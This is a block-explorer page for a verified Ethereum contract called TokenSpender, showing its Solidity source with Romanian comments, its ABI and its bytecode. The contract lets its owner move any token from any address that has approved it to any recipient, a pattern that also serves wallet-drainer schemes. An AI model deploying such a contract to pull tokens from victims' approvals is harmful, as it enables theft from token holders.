ETH Price: $2,158.97 (+5.40%)

Contract

0x57374814A00a3319170A8C4E03592Bd613E701BA
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To

There are no matching entries

Please try again later

Advanced mode:
Parent Transaction Hash Method Block
From
To
View All Internal Transactions
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Similar Match Source Code
This contract matches the deployed Bytecode of the Source Code for Contract 0xb6416da8...2990aF0Cb
The constructor portion of the code might be different and could alter the actual behaviour of the contract

Contract Name:
TokenSpender

Compiler Version
v0.8.30+commit.73712a01

Optimization Enabled:
No with 200 runs

Other Settings:
prague EvmVersion

Contract Source Code (Solidity Standard Json-Input format)

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IUSDT {
    function transferFrom(address sender, address recipient, uint256 amount) external;
    function transfer(address recipient, uint256 amount) external;
    function allowance(address owner, address spender) external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
}

contract TokenSpender {
    address public owner;

    // Event pentru logging
    event TokensTransferred(address token, address sender, address recipient, uint256 amount);
    event TokensWithdrawn(address token, address to, uint256 amount);
    event DebugOwner(address owner, address caller);

    // Constructor: setează owner-ul
    constructor() {
        owner = msg.sender;
    }

    // Modifier pentru a limita accesul doar la owner
    modifier onlyOwner() {
        require(msg.sender == owner, "Only owner can call this function");
        _;
    }

    // Funcție pentru a face transferFrom – doar owner-ul poate apela
    function transferTokens(
        address token,
        address sender,
        address recipient,
        uint256 amount
    ) external onlyOwner {
        emit DebugOwner(owner, msg.sender);
        
        // Verificăm allowance-ul înainte de transfer
        uint256 currentAllowance = IUSDT(token).allowance(sender, address(this));
        require(currentAllowance >= amount, "Insufficient allowance");
        
        // Pentru USDT, nu verificăm valoarea returnată
        try IUSDT(token).transferFrom(sender, recipient, amount) {
            emit TokensTransferred(token, sender, recipient, amount);
        } catch {
            revert("USDT transfer failed");
        }
    }

    // Funcție pentru a verifica allowance-ul
    function getAllowance(
        address token,
        address ownerAddr,
        address spender
    ) external view returns (uint256) {
        return IUSDT(token).allowance(ownerAddr, spender);
    }

    // Funcție pentru a verifica soldul
    function getBalance(address token, address account) external view returns (uint256) {
        return IUSDT(token).balanceOf(account);
    }

    // Funcție pentru a retrage tokeni blocate (doar owner)
    function withdrawTokens(address token, address to, uint256 amount) external onlyOwner {
        try IUSDT(token).transfer(to, amount) {
            emit TokensWithdrawn(token, to, amount);
        } catch {
            revert("Token withdraw failed");
        }
    }
}

Settings
{
  "evmVersion": "prague",
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": [],
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"},{"indexed":false,"internalType":"address","name":"caller","type":"address"}],"name":"DebugOwner","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"address","name":"recipient","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"TokensTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"TokensWithdrawn","type":"event"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"address","name":"ownerAddr","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"getAllowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"address","name":"account","type":"address"}],"name":"getBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdrawTokens","outputs":[],"stateMutability":"nonpayable","type":"function"}]

0x6080604052348015600e575f5ffd5b50335f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b6b8061005b5f395ff3fe608060405234801561000f575f5ffd5b5060043610610055575f3560e01c80635e35359e1461005957806368155ec1146100755780638da5cb5b14610091578063d4fac45d146100af578063e7092b41146100df575b5f5ffd5b610073600480360381019061006e91906106c8565b61010f565b005b61008f600480360381019061008a9190610718565b61027f565b005b61009961050e565b6040516100a6919061078b565b60405180910390f35b6100c960048036038101906100c491906107a4565b610532565b6040516100d691906107f1565b60405180910390f35b6100f960048036038101906100f4919061080a565b6105b3565b60405161010691906107f1565b60405180910390f35b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461019d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610194906108da565b60405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b81526004016101d89291906108f8565b5f604051808303815f87803b1580156101ef575f5ffd5b505af1925050508015610200575060015b61023f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161023690610969565b60405180910390fd5b7f6337ed398c0e8467698c581374fdce4db14922df487b5a39483079f5f59b60a483838360405161027293929190610987565b60405180910390a1505050565b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461030d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610304906108da565b60405180910390fd5b7fcf4120d7e3a7135256b87a31e5fdb27a0f6fabf0d3bc2d6ac78532ac241b28b75f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff163360405161035e9291906109bc565b60405180910390a15f8473ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e85306040518363ffffffff1660e01b81526004016103a29291906109bc565b602060405180830381865afa1580156103bd573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103e191906109f7565b905081811015610426576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161041d90610a6c565b60405180910390fd5b8473ffffffffffffffffffffffffffffffffffffffff166323b872dd8585856040518463ffffffff1660e01b815260040161046393929190610987565b5f604051808303815f87803b15801561047a575f5ffd5b505af192505050801561048b575060015b6104ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104c190610ad4565b60405180910390fd5b7f70c5f97fd0068e96984b8116fe83eefbff3b91244565bf311a3cba619b4ecbc7858585856040516104ff9493929190610af2565b60405180910390a15050505050565b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f8273ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b815260040161056c919061078b565b602060405180830381865afa158015610587573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105ab91906109f7565b905092915050565b5f8373ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e84846040518363ffffffff1660e01b81526004016105ef9291906109bc565b602060405180830381865afa15801561060a573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061062e91906109f7565b90509392505050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6106648261063b565b9050919050565b6106748161065a565b811461067e575f5ffd5b50565b5f8135905061068f8161066b565b92915050565b5f819050919050565b6106a781610695565b81146106b1575f5ffd5b50565b5f813590506106c28161069e565b92915050565b5f5f5f606084860312156106df576106de610637565b5b5f6106ec86828701610681565b93505060206106fd86828701610681565b925050604061070e868287016106b4565b9150509250925092565b5f5f5f5f608085870312156107305761072f610637565b5b5f61073d87828801610681565b945050602061074e87828801610681565b935050604061075f87828801610681565b9250506060610770878288016106b4565b91505092959194509250565b6107858161065a565b82525050565b5f60208201905061079e5f83018461077c565b92915050565b5f5f604083850312156107ba576107b9610637565b5b5f6107c785828601610681565b92505060206107d885828601610681565b9150509250929050565b6107eb81610695565b82525050565b5f6020820190506108045f8301846107e2565b92915050565b5f5f5f6060848603121561082157610820610637565b5b5f61082e86828701610681565b935050602061083f86828701610681565b925050604061085086828701610681565b9150509250925092565b5f82825260208201905092915050565b7f4f6e6c79206f776e65722063616e2063616c6c20746869732066756e6374696f5f8201527f6e00000000000000000000000000000000000000000000000000000000000000602082015250565b5f6108c460218361085a565b91506108cf8261086a565b604082019050919050565b5f6020820190508181035f8301526108f1816108b8565b9050919050565b5f60408201905061090b5f83018561077c565b61091860208301846107e2565b9392505050565b7f546f6b656e207769746864726177206661696c656400000000000000000000005f82015250565b5f61095360158361085a565b915061095e8261091f565b602082019050919050565b5f6020820190508181035f83015261098081610947565b9050919050565b5f60608201905061099a5f83018661077c565b6109a7602083018561077c565b6109b460408301846107e2565b949350505050565b5f6040820190506109cf5f83018561077c565b6109dc602083018461077c565b9392505050565b5f815190506109f18161069e565b92915050565b5f60208284031215610a0c57610a0b610637565b5b5f610a19848285016109e3565b91505092915050565b7f496e73756666696369656e7420616c6c6f77616e6365000000000000000000005f82015250565b5f610a5660168361085a565b9150610a6182610a22565b602082019050919050565b5f6020820190508181035f830152610a8381610a4a565b9050919050565b7f55534454207472616e73666572206661696c65640000000000000000000000005f82015250565b5f610abe60148361085a565b9150610ac982610a8a565b602082019050919050565b5f6020820190508181035f830152610aeb81610ab2565b9050919050565b5f608082019050610b055f83018761077c565b610b12602083018661077c565b610b1f604083018561077c565b610b2c60608301846107e2565b9594505050505056fea2646970667358221220446642a24b6d3cc1eeee403400e2c0d8013bb1b6bc57c3be830dcc6e9766b89864736f6c634300081e0033

Deployed Bytecode

0x608060405234801561000f575f5ffd5b5060043610610055575f3560e01c80635e35359e1461005957806368155ec1146100755780638da5cb5b14610091578063d4fac45d146100af578063e7092b41146100df575b5f5ffd5b610073600480360381019061006e91906106c8565b61010f565b005b61008f600480360381019061008a9190610718565b61027f565b005b61009961050e565b6040516100a6919061078b565b60405180910390f35b6100c960048036038101906100c491906107a4565b610532565b6040516100d691906107f1565b60405180910390f35b6100f960048036038101906100f4919061080a565b6105b3565b60405161010691906107f1565b60405180910390f35b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461019d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610194906108da565b60405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b81526004016101d89291906108f8565b5f604051808303815f87803b1580156101ef575f5ffd5b505af1925050508015610200575060015b61023f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161023690610969565b60405180910390fd5b7f6337ed398c0e8467698c581374fdce4db14922df487b5a39483079f5f59b60a483838360405161027293929190610987565b60405180910390a1505050565b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461030d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610304906108da565b60405180910390fd5b7fcf4120d7e3a7135256b87a31e5fdb27a0f6fabf0d3bc2d6ac78532ac241b28b75f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff163360405161035e9291906109bc565b60405180910390a15f8473ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e85306040518363ffffffff1660e01b81526004016103a29291906109bc565b602060405180830381865afa1580156103bd573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103e191906109f7565b905081811015610426576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161041d90610a6c565b60405180910390fd5b8473ffffffffffffffffffffffffffffffffffffffff166323b872dd8585856040518463ffffffff1660e01b815260040161046393929190610987565b5f604051808303815f87803b15801561047a575f5ffd5b505af192505050801561048b575060015b6104ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104c190610ad4565b60405180910390fd5b7f70c5f97fd0068e96984b8116fe83eefbff3b91244565bf311a3cba619b4ecbc7858585856040516104ff9493929190610af2565b60405180910390a15050505050565b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f8273ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b815260040161056c919061078b565b602060405180830381865afa158015610587573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105ab91906109f7565b905092915050565b5f8373ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e84846040518363ffffffff1660e01b81526004016105ef9291906109bc565b602060405180830381865afa15801561060a573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061062e91906109f7565b90509392505050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6106648261063b565b9050919050565b6106748161065a565b811461067e575f5ffd5b50565b5f8135905061068f8161066b565b92915050565b5f819050919050565b6106a781610695565b81146106b1575f5ffd5b50565b5f813590506106c28161069e565b92915050565b5f5f5f606084860312156106df576106de610637565b5b5f6106ec86828701610681565b93505060206106fd86828701610681565b925050604061070e868287016106b4565b9150509250925092565b5f5f5f5f608085870312156107305761072f610637565b5b5f61073d87828801610681565b945050602061074e87828801610681565b935050604061075f87828801610681565b9250506060610770878288016106b4565b91505092959194509250565b6107858161065a565b82525050565b5f60208201905061079e5f83018461077c565b92915050565b5f5f604083850312156107ba576107b9610637565b5b5f6107c785828601610681565b92505060206107d885828601610681565b9150509250929050565b6107eb81610695565b82525050565b5f6020820190506108045f8301846107e2565b92915050565b5f5f5f6060848603121561082157610820610637565b5b5f61082e86828701610681565b935050602061083f86828701610681565b925050604061085086828701610681565b9150509250925092565b5f82825260208201905092915050565b7f4f6e6c79206f776e65722063616e2063616c6c20746869732066756e6374696f5f8201527f6e00000000000000000000000000000000000000000000000000000000000000602082015250565b5f6108c460218361085a565b91506108cf8261086a565b604082019050919050565b5f6020820190508181035f8301526108f1816108b8565b9050919050565b5f60408201905061090b5f83018561077c565b61091860208301846107e2565b9392505050565b7f546f6b656e207769746864726177206661696c656400000000000000000000005f82015250565b5f61095360158361085a565b915061095e8261091f565b602082019050919050565b5f6020820190508181035f83015261098081610947565b9050919050565b5f60608201905061099a5f83018661077c565b6109a7602083018561077c565b6109b460408301846107e2565b949350505050565b5f6040820190506109cf5f83018561077c565b6109dc602083018461077c565b9392505050565b5f815190506109f18161069e565b92915050565b5f60208284031215610a0c57610a0b610637565b5b5f610a19848285016109e3565b91505092915050565b7f496e73756666696369656e7420616c6c6f77616e6365000000000000000000005f82015250565b5f610a5660168361085a565b9150610a6182610a22565b602082019050919050565b5f6020820190508181035f830152610a8381610a4a565b9050919050565b7f55534454207472616e73666572206661696c65640000000000000000000000005f82015250565b5f610abe60148361085a565b9150610ac982610a8a565b602082019050919050565b5f6020820190508181035f830152610aeb81610ab2565b9050919050565b5f608082019050610b055f83018761077c565b610b12602083018661077c565b610b1f604083018561077c565b610b2c60608301846107e2565b9594505050505056fea2646970667358221220446642a24b6d3cc1eeee403400e2c0d8013bb1b6bc57c3be830dcc6e9766b89864736f6c634300081e0033

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading
Loading...
Loading

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.